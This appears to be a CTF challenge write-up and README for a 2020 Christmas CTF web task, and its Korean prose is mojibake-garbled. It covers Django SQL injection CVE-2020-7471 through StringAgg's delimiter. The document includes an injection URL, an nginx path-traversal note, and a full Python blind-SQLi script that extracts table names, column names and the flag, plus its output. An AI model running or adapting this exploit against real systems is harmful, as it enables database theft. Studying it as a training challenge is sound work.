- ์ถ์ ๋ CTF: 2020 Christmas CTF
- ๋ถ์ผ: WEB
- ํค์๋: DOBBY_IS_FREE!
- ๋์ด๋: โ โ โ โโ
์ผ๋ฐ์ ์ผ๋ก Web Hacker๋ค์ด mysql์ ๋ํ SQL Injection์ ์ฃผ๋ก ๊ณต๋ถํ๋๊ฑธ ๋ณด๋ postgresql์ ์ฌ์ฉํด์ Injection ๋ฌธ์ ๋ฅผ ๋ง๋ค์ด์ ๋ค์ํ DB์ ๋ํ ๊ณต๊ฒฉ์ ๊ฒฝํํด๋ดค์ผ๋ฉด ํ๋ ์๊ฐ์์ ๋ง๋ค์์ต๋๋ค.
-
Django ์๋น์ค์์ ๋ฐ์ํ ์ทจ์ฝ์ ์ด๋ฏ๋ก ์ด์ ๋ํ ํํธ๋ฅผ ์ฃผ๊ธฐ ์ํด HTTP Response์ Version์ด๋ผ๋ ์ปค์คํ ํค๋๋ฅผ ์ถ๊ฐํ์ฌ
Django
,Postgres
๋ฒ์ ์ ๋ช ์ํ์ต๋๋ค.Django 3.0.1
๋ฒ์ ์์ ๋ฐ์ํ๋ SQL Injection ์ทจ์ฝ์ ๊ฒ์์ ๊ณต๊ฐ๋ poc ์ฝ๋๋ฑ์ด ์์ต๋๋ค. -
์ข์ธก ๋ฒํธ ํด๋ฆญ์ ํด๋น ๊ฒ์๊ธ์ ๋ํ pk์ content๊ฐ์ ๊ธฐ๋ฐ์ผ๋ก ๊ฒ์๊ธ ์กฐํ
-
์ค์ ๋ฐฑ์๋ ์ฝ๋
results = Blog.objects.filter(pk=blog_id, content__contains=content).values('title').annotate(
custom_field=StringAgg('content', delimiter=content)).all()
StringAggํจ์๋ฅผ ํตํด ๊ตฌ๋ถ์์ ํจ๊ป ๋ฌธ์์ด์ ๋ถ์ฌ์ ๋ฆฌํดํด์ฃผ๋ ํจ์ ์ธ๋ฐ ํด๋น
input๊ฐ์ ๋ํ ์
๋ ฅ๊ฐ ๊ฒ์ฆ์ด ์์ด์ ์ content
๋ถ๋ถ์ injection payload๋ฅผ ๋ฃ์์ ์์ต๋๋ค.
http:///vul/1/?content=-\\\\') AS "mydefinedname" FROM "vul_blog" WHERE 1=1 AND case when (SELECT length(string_agg(vul_flag.flag, '')) FROM vul_flag) < 500 then true else false end GROUP BY "vul_blog"."title" LIMIT 1 offset 1 --
- nginx ์๋ฒ ์ค์ ์ค์๋ก ์ธํ
Path Traversal
์ทจ์ฝ์ ๋ฐ์http://118.67.135.137/static../
url ์ ๊ทผ ํ ์๋ฒ ๋ด ๋ชจ๋ ํ์ผ ์ ๊ทผ์ด ๊ฐ๋ฅ ํด์ง์ผ๋ก์ ๋ฐฑ์ ์ฉ dump ํ์ผ์ ์ฝ์ด๋ค์ฌ flag๋ฅผ ํ๋
CVE-2020-7471
-
Django
version 1.11, 2.2 3.0.x โค 3.0.2 ๋ฒ์ ์์ ๋ฐ๊ฒฌ๋ SQL Injection ์ทจ์ฝ์ CVE-2020-7471์ ์ด์ฉํ ๋ฌธ์ -
postgresql ๊ด๋ จ ํจ์ ์ค
StringAgg
ํจ์์ ๊ด๋ จ๋ ์ฝ๋์์ ์ธ์๊ฐ ๊ฒ์ฌ ๊ธฐ๋ฅ์ด ๋ฏธํกํด ๋ฐ์ํ ์ทจ์ฝ์
- ๋ค์์ ์ต์คํ๋ก์ ์ฝ๋์ ๋๋ค.
import requests
server = "http://118.67.135.137/post/"
id = 1
content_param = f"/?content="
content = "IS_FREE!"
def exists_check(content):
"""์๋ต๊ฐ ์ฒดํฌ์ฉ ํจ์"""
if "title" in str(content):
return True
else:
return False
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"Cache-Control": "no-cache",
"Connection": "keep-alive",
"Host": "127.0.0.1:8000",
"Pragma": "no-cache",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
}
def get_table_info_from_information_schema():
# table ๊ฐ์ ์กฐํ
table_count = 0
table_count_get = False
while table_count_get is False:
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27)%20<=%20{table_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
table_count = table_count + 1
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
table_count = table_count - 1
table_count_get = True
# table list ์ถ์ถ
table_row_list = []
# public table ๊ฐ์ ๋งํผ loop
for table_row in range(0,table_count):
# table ๋ช
๊ธธ์ด ์กฐํ
for table_name_size in range(0,50):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
break
# table ์ด๋ฆ ์ฌ์ด์ฆ ๋งํผ ๋ฃจํ
table_name = ""
for i in range(0,table_name_size):
for ascii in range(0,128):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201),%20{i},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
table_name = table_name+str(chr(ascii))
break
table_row_list.append(table_name)
print(table_row_list)
def get_column_info_from_information_schema():
vul_flag_column_count = 0
table_count_get = False
while table_count_get is False:
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(*)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27)%20<=%20{vul_flag_column_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
#time.sleep(1)
vul_flag_column_count = vul_flag_column_count + 1
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
vul_flag_column_count = vul_flag_column_count - 1
table_count_get = True
column_name_list = []
for i in range(0,vul_flag_column_count):
# table ๋ช
๊ธธ์ด ์กฐํ
for table_name_size in range(0,50):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
break
#vul_flag table column ์ด๋ฆ ์กฐํ
column_name = ""
for j in range(1,table_name_size+1):
for ascii in range(0,128):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
column_name = column_name+str(chr(ascii))
break
column_name_list.append(column_name)
print(column_name_list)
def get_flag_from_flag_table():
for flag_length in range(0,50):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20length(string_agg(vul_flag.flag,%20%27%27))%20FROM%20vul_flag)%20<=%20{flag_length}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
break
flag = ""
for j in range(1,flag_length+1):
for ascii in range(0,128):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(flag)%20as%20cnt%20FROM%20vul_flag%20offset%200%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
flag = flag+str(chr(ascii))
break
print(flag)
#Information Schema์์ ํ
์ด๋ธ ์ ๋ณด ์ถ์ถ
#get_table_info_from_information_schema()
#ํ
์ด๋ธ๋ช
์์๋์ผ๋ information_schema์์ column ์ ๋ณด ์ถ์ถ
#get_column_info_from_information_schema()
#column์ ๋ณด ๊ธฐ๋ฐ์ผ๋ก flag ๊ฐ ์ถ์ถ
get_flag_from_flag_table()
- ๋ค์์ ์คํ ๊ฒฐ๊ณผ์ ๋๋ค.
D033Y_!S_L0N3LY
- Build Docker image
make build
- Up Docker Image
make up
- Check Web Site
Poc CVE-2020-7471 Django Security Django Offical Document Django Release History